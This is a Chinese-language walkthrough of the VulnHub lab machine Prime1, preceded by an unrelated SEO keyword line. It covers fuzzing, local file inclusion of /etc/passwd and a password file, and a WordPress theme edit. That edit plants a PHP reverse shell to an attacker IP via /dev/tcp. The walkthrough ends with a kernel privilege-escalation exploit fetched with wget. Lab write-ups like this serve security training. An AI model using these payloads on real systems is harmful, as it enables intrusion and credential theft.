苏州建设工程招标官方网站,seo排名资源,三屏合一网站建设,官方网站下载安装qq「红队笔记」靶机精讲#xff1a;Prime1 - 信息收集和分析能力的试炼
本文是作者在观看 B 站《红队笔记》后做的一些笔记及相关知识的补充。学渗透特别推荐大家去看。如有侵权#xff0c;请联系作者#xff0c;作者看到后会第一时间删除。
靶机精讲之Prime1#xff0c;vu…「红队笔记」靶机精讲Prime1 - 信息收集和分析能力的试炼
本文是作者在观看 B 站《红队笔记》后做的一些笔记及相关知识的补充。学渗透特别推荐大家去看。如有侵权请联系作者作者看到后会第一时间删除。
靶机精讲之Prime1vulnhub靶机信息收集和分析能力的试炼可以先盲打看能否按图索骥。中间还是涉及模糊测试、wordpress利用常规打法但也需要扎实的基本功。提权可用内核提权。
– 红队笔记
nmap 五部曲
主机发现
sudo nmap -sn 10.10.10.0/24靶机 IP 为 10.10.10.22 。
端口扫描
sudo nmap --min-rate 10000 -p- 10.10.10.22发现 22 和 80 两个端口是开放的。22 端口是熟知的 ssh 服务80 端口是 web 服务。
全面扫描
sudo nmap -sT -sV -O -p22,80 10.10.10.22UDP 扫描
sudo nmap -sU -p22,80 10.10.10.22漏洞脚本扫描
sudo nmap --scriptvuln -p22,80 10.10.10.22访问 web 页面
既然开放了 web 网站那么先访问一下看看。
只有一张图片是 kali 的龙形象
HacknPentestPenetration Testing (或简称 PenTest )即渗透测试中间的 n 可能是 and 的意思。 查看源代码
没发现什么有价值的东西hnp 应该是 HacknPentest 的缩写。 进行目录爆破
目录爆破的工具有很多种比如 dirsearch gobusterferoxbusterdirb 不同工具的运行机制可能有所不同但是比起切换工具我们更应该关注一个工具其中的参数的设置和字典的设置把一个工具用精。
可以用 man 命令查看 dirb 的参数
man dirb使用 dirb 进行默认扫描
dirb http://10.10.10.22 -o report/dirb.txt在扫描结果中发现当前目录下有一个 dev 目录很可疑。
使用 curl 获取响应内容
sudo curl http://10.10.10.22/dev执行该命令会发送一个 GET 请求到 IP 地址为 10.10.10.22 的服务器的 ./dev 路径并返回服务器的响应内容。具体返回的内容取决于服务器的配置和 ./dev 路径下的资源。
返回结果 这里给了一些提示要我们再挖掘的深入一点。大概是目录爆破要再精确一点的意思。
使用 wget 保存响应内容
sudo wget http://10.10.10.22/dev -o report/dev既然是信息那就先保存一下。
用 dirb 指定文件后缀名进行扫描
dirb http://10.10.10.22 -X .zip,.txt -o report/dirbvaryhard.txt在当前目录下发现了一个 secret.txt 文件。
依然是用 curl 获取文件内容
curl http://10.10.10.22/secret.txt返回结果 在每一个你发现的 PHP 文件做一些 fuzz (模糊测试)如果你仍然卡在这可以访问下面的链接。链接中给了一个做模糊测试的工具。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_WebOSCP ( Offensive Security Certified Professional ) 是一个国际性的安全从业人员的专业技能认证证书,由 Kali Linux 官方组织颁布。
这里其实已经很明确的提示我们要去找 PHP 文件了。
这是一个比较重要的信息用 wget 保存一下
sudo wget http://10.10.10.22/secret.txt -o report/secret.txtdirb 指定后缀名为 php 的扫描
dirb http://10.10.10.22 -X .php -o report/dirbphp.txt结果发现当前目录下存在 index.php 和 image.php 两个文件。接下来要对这两个文件做模糊测试。
用 wfuzz 工具进行模糊测试
模糊测试是一种自动或半自动的测试技术常被用来发现软件/操作系统/网络的代码中的错误和安全性问题其中用于输入随机的数据和不合法的数据被称为“FUZZ”。之后系统将被监视各种异常如系统崩溃或内置代码失败等。
上面那个链接给了一条命令
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZsomethingwfuzz 是一个模糊测试工具kali 中默认已安装。
查看帮助文档
wfuzz --help -c : Output with colors. 输出结果高亮显示。
-w wordlist : Specify a wordlist file (alias for -z file,wordlist). 指定一个单词列表文件-z文件的别名单词列表。
–hc/hl/hw/hh N[,N] : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline).
这是一个过滤器指定按哪一列的值进行过滤。其输出结果有五列分别是 code/lines/words/chars/payload 表示状态码/行数/长度/字节数/攻击载荷。
–hc 404 就是不显示 code 列值为 404 的行–hw 500 就是不显示 words 列值为 500 的行。
将上面的命令稍作修改
对 image.php 进行模糊测试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.22/image.php?FUZZRedTeamNotes最后的 FUZZsomething 等号右边可以随便改。
发现结果中 code 列全为 200 lines 列全为 6 words 列全为 12 chars 列全为 147 。显然需要找出特别的行像这种一样的大多数行几乎不可能是想要的结果。
因此对上面的结果做一些筛选
挑选 words 列不为 12 的行
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.10.10.22/image.php?FUZZRedTeamNotes无结果。
挑选 chars 列不为 147 的行
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://10.10.10.22/image.php?FUZZRedTeamNotes还是无结果。
既然这个文件没有什么发现那就对另一个文件做模糊测试。
对 index.php 进行模糊测试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://10.10.10.22/index.php?FUZZRedTeamNotes发现结果中 code 列全为 200 lines 列全为 7 words 列全为 12 chars 列全为 136 。
挑选 chars 列不为 136 的行
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://10.10.10.22/index.php?FUZZRedTeamNotes结果只有一行该行的 payload 为 file 。
继续深入
将 file 作为参数去访问 index.php 页面
sudo curl http://10.10.10.22/index.php?file响应内容 你正在挖一个错误的文件。
保存响应内容
sudo curl http://10.10.10.22/index.php?file report/wrongnotice.txt既然这是一个错误的文件那正确的文件是什么呢还记得之前 secret.txt 文件的内容吗。最后一句话提示去查看 location.txt 文件。
当然不是指当前目录下的 location.txt 因为之前 dirb 都没扫出来有这个文件那要怎么查看呢以 file 作为参数的话是否可以查看呢
sudo curl http://10.10.10.22/index.php?filelocation.txt返回结果 现在你已经找到了精确的参数接着往下挖。使用 “secrettier360” 参数在其他的一些 PHP 页面做测试。
显然除了 index.php 就只有 image.php 了。
使用 scrot 截屏保存该信息
scrot -s report/location.png使用 xdg-open 查看图片
xdg-open report/location.png将 secrettier360 作为参数去访问 image.php 页面
sudo curl http://10.10.10.22/image.php?secrettier360返回结果 最终你得到了正确的参数。
保存响应内容
sudo curl http://10.10.10.22/image.php?secrettier360 -o report/rightpara.txt都到这一步了当然要试试文件包含了。
本地文件包含
由于暂时找不到更多的信息又提示找到了正确的参数那么就试试本地文件包含吧。
sudo curl http://10.10.10.22/image.php?secrettier360../../../../../../etc/passwd成功回显结果 保存结果
sudo curl http://10.10.10.22/image.php?secrettier360../../../../../../etc/passwd -o report/passwd.txt注意到结果中有三个有价值的用户rootvictorsaket 。一般除了 root 以外的正常用户都在后面因为是新添加的。
其中 rootvictor 都是给了 /bin/bash 交互环境saket 则是放在正常用户应该在的家目录下/home。
在 saket 用户的描述中提示可以在 /home/saket 目录下找到一个 password.txt 文件。
那么依然是利用文件包含来获取该文件
sudo curl http://10.10.10.22/image.php?secrettier360../../../../../../home/saket/password.txt返回结果 保存结果
sudo curl http://10.10.10.22/image.php?secrettier360../../../../../../home/saket/password.txt -o password.txt在这里获得了一个密码follow_the_ippsec 那么这个密码在哪用呢。
尝试 ssh 连接
ssh victor10.10.10.22ssh saket10.10.10.22均失败。
其实之前在用 dirb 扫描的时候有扫出一个 WordPress 文件夹但是当时没有去看因为看到了更直接的 dev 文件但是现在是时候回过头来看看了。
WordPress 内容管理系统
WordPress 是一款个人博客系统并逐步演化成一款内容管理系统软件它是使用 PHP 语言和 MySQL 数据库开发的用户可以在支持 PHP 和 MySQL 数据库的服务器上使用自己的博客。
WordPress 的使用量居全球第一碾压了其他内容管理系统在一个名为钟馗之眼https://www.zoomeye.org/about的网站上可以查看。 使用 wpscan 进行漏洞扫描
Wpscan 是一款 kali linux 开源的命令行工具专门用于扫描和识别 WordPress 网站中的漏洞和安全问题。它可以帮助安全研究人员、渗透测试人员以及网站管理员识别和修复 WordPress 网站可能存在的安全漏洞。
下载 wpscan
apt install wpscan查看帮助文档
wpscan --help执行扫描
sudo wpscan --url http://10.10.10.22/wordpress -e u–url URL The URL of the blog to scan. 要扫描的博客的URL 。 Allowed Protocols: http, https. 允许的协议httphttps 。 Default Protocol if none provided: http. 默认协议如果未提供http 。 This option is mandatory unless update or help or hh or version is/are supplied.
除非提供了更新、帮助、hh或版本否则此选项是强制性的。
-e, --enumerate [OPTS] Enumeration Process 枚举过程 Available Choices: 可用选项 vp Vulnerable plugins vp 易受攻击的插件 ap All plugins ap 所有插件 p Popular plugins p 热门插件 vt Vulnerable themes vt 易受害主题 at All themes at 所有主题 t Popular themes t 流行的主题 tt Timthumbs tt 蒂姆拇指 cb Config backups cb 配置备份 dbe Db exports dbe Db导出 u User IDs range. e.g: u1-5 u 用户ID范围。例如u1-5 Range separator to use: ‘-’ 范围分隔符用“-” Value if no argument supplied: 1-10 如果未提供参数则为值1-10
enumerate – 枚举-e 指定要列举什么。
这里只扫描有哪些用户是因为拿到了密码但不知道用户名是什么。
输出结果 可见只有一个名为 victor 的用户但其实这个用户名在 WordPress 页面也能看到。
保存输出结果
sudo wpscan --url http://10.10.10.22/wordpress -e u -o report/wordpress.txt登录到后台
回去看看 dirb 的扫描结果 其实 WordPress 的后台登录界面就是在 ./wordpress/wp-admin 这个路径可以记住。
以
用户名victor
密码follow_the_ippsec
成功登录到后台。
wordpress 网站渗透
一般在做网站渗透的时候要特别注意上传文件的地方比如 WordPress 后台有上传 plugins(插件) 的地方还有上传 themes(主题) 的地方。常见的还有上传头像的地方。
插件上传处要求是 zip 文件先传一个正常的 zip 文件看能不能上传。结果的不能的从返回结果来看似乎父目录没有足够的权限。
这条路走不通。
在后台的 appearence-themes editor 处可以编辑文件在这里尝试插入木马。当然插入什么之前要看看有没有修改权限。这里的大部分文件都是没有修改权限的。没有修改权限的话在最下面会有一句话
“You need to make this file writable before you can save your changes.”
像什么 cssjsjson 文件都没有什么价值因为它们不具备执行性。该网站使用 PHP 语言作为在服务器端执行的脚本语言所以我们主要找 PHP 文件即可
在此处遍历 PHP 文件最终发现一个 secret.php 文件具备写入权限。
写入马子
?php exec(/bin/bash -c bash -i /dev/tcp/10.10.10.3/443 01) ?exec 函数是 PHP 中常用的一种执行外部系统命令的函数可以让 PHP 程序直接调用操作系统的命令行执行命令。
/bin/bash -c 是一个 Linux 命令它的作用是在一个新的 Bash shell 中执行给定的命令。其中 /bin/bash 是 Bash shell 的路径-c 是一个选项表示后面跟着的是要执行的命令。
保存修改。
kali 开启监听
nc -lvnp 443访问 secret.php 页面可以看到 kali 中已经获得该机器的权限。
提权
信息搜集
whoami 查看当前用户信息当前拿到的是 www-data 的权限这是一个低权限用户。
uname -a 查看系统信息 sudo -l 查看当前用户的权限 当前用户对于 /home/saket/enc 文件具有 root 权限且可以无需密码执行。
cd /home/saket
ls -liah发现当前用户对于 /home/saket/enc 仅有执行权限而没有查看和写入权限。
cat /etc/crontab 查看定时任务 显然没有权限。
/etc/passwd 可以看但是 /etc/shadow 不能看那就无法破解密码。
内核漏洞提权
在上面的结果中可以看出该靶机的内核版本较低( linux ubuntu 4.10.0-28-generic )可能存在内核漏洞。
searchsploit 命令检索漏洞信息
关于 searchsploit
searchsploit 是一款开源的漏洞利用和漏洞扫描工具它提供了一个简单的命令行界面让用户能够搜索到漏洞利用和漏洞扫描工具中所包含的所有漏洞的专利权。这些漏洞利用和漏洞扫描工具的漏洞信息来自于一些公开的漏洞数据库如 NVD、CVE、OSVDB 等等。使用 searchsploit 可以快速搜索到特定漏洞的版本提高漏洞利用的效率。
这个工具可以称得上是渗透利器了可以多多使用哦~。
使用方法
searchsploit 的使用方法如下 搜索漏洞使用命令 searchsploit 关键字 来搜索特定的漏洞。例如searchsploit wordpress 可以搜索与 WordPress 相关的漏洞。 显示漏洞详细信息使用命令 searchsploit -x 漏洞编号 来显示特定漏洞的详细信息。漏洞编号可以从搜索结果中获取。 下载漏洞利用脚本或漏洞扫描工具使用命令 searchsploit -m 漏洞编号 来下载特定漏洞的利用脚本或扫描工具。下载的文件将保存在当前目录中。 更新漏洞库使用命令 searchsploit -u 来更新漏洞库以获取最新的漏洞信息。 显示搜索结果的详细信息使用命令 searchsploit -p 漏洞编号 来显示特定漏洞利用程序的详细信息。 显示漏洞利用程序的漏洞文件路径使用命令 searchsploit -f 漏洞编号 来显示特定漏洞利用程序的漏洞文件路径。
请注意searchsploit 的漏洞库需要定期更新以获取最新的漏洞信息。
searchsploit Linux ubuntu 4.10.0-28┌──(root㉿kali)-[~]
└─# searchsploit linux ubuntu 4.10.0-28--------------------------------------------------------------------------------------- --------------------Exploit Title | Path--------------------------------------------------------------------------------------- --------------------Linux Kernel 4.10.5 / 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c
Linux Kernel 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Ubuntu 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt--------------------------------------------------------------------------------------- --------------------Shellcodes: No Results这段输出信息中包含了三个漏洞的利用程序信息以及其在 searchsploit 安装目录中的路径。具体来说 第一个漏洞是针对 Linux Kernel 4.10.5 和低于 4.14.3 版本存在的 DCCP Socket Use-After-Free 漏洞的攻击代码。攻击代码路径为 linux/dos/43234.c。该攻击代码可用于实现攻击导致目标系统遭受拒绝服务DoS攻击。 第二个漏洞是针对 Ubuntu 16.04 及 Fedora 27 等系统上存在的本地提权漏洞的攻击代码该漏洞可导致攻击者获得系统管理员权限。攻击代码路径为 linux/local/45010.c。 第三个漏洞是针对 Ubuntu 15.10 及以下系统上存在的一个命名空间特权提升漏洞的攻击代码。攻击代码路径为 linux/local/41760.txt并提供了漏洞的详细描述。
最后searchsploit 还提供了 Shellcodes 和 Exploit-db 的其他搜索结果。然而搜索结果未显示 Shellcode 和其他利用程序的结果。
这里利用一下第二个漏洞
searchsploit linux ubuntu -m 45010-m 选项表示下载漏洞利用模块这个命令的作用是使用 searchsploit 工具在本地数据库中搜索包含字符串linux和ubuntu并过滤出45010编号的漏洞利用脚本然后将该漏洞利用脚本下载到当前目录中。
ls
# 发现当前目录下多了一个 45010.c 的文件这是一个用 C 语言编写的漏洞利用脚本。
cat 45010.c
# 要养成查看文件的好习惯将漏洞利用脚本上传到靶机上
kali 上使用
sudo php -S 0:80-S addr:port Run with built-in web server.这条命令相当于在本地开启一个服务器可以用自己的浏览器通过 http://127.0.0.1 来访问。
此时在靶机上已经拿到了 www-data 的权限在这里执行命令
wget http://10.10.10.3/45010.c将 kali 上的 45010.c 文件下载到靶机上用这种方式传输文件新奇。10.10.10.3 是攻击机 kali 的 ip 。
由于 C 语言文件需要编译后才能运行故而这里有两种方式一种是在攻击机上编译后再传到靶机上另一种就是直接在靶机上编译。
第一种
kali 上用 gcc 编译该 C 文件
gcc 45010.c -o 45010-o 指定编译后的文件名如果不指定的话默认的输出文件为 a.out 。
靶机上用 wget 下载该文件
wget http://10.10.10.3/45010靶机上运行该文件
./45010但这种方法可能有问题在本次试验中不成功。
第二种
靶机上用 wget 下载源文件
wget http://10.10.10.3/45010.c这样下载的文件当前的 www-data 用户对其有着全部的权限。
靶机上编译源文件
gcc 45010.c -o 45010靶机上运行该文件
./45010这种方法要求靶机上已经安装好了 gcc 编译器。
本次试验中第二种方法成功执行。
此时执行 whoami 发现已经是 root 权限但是没有命令提示符执行下面的命令以获得命令提示符
# 查看当前安装了哪些软件包是否安装了 python 程序
dpkg -l
# 如有 python 程序执行一下命令获取命令提示符
python -c import pty;pty.spawn(/bin/bash);至此这台靶机渗透完成。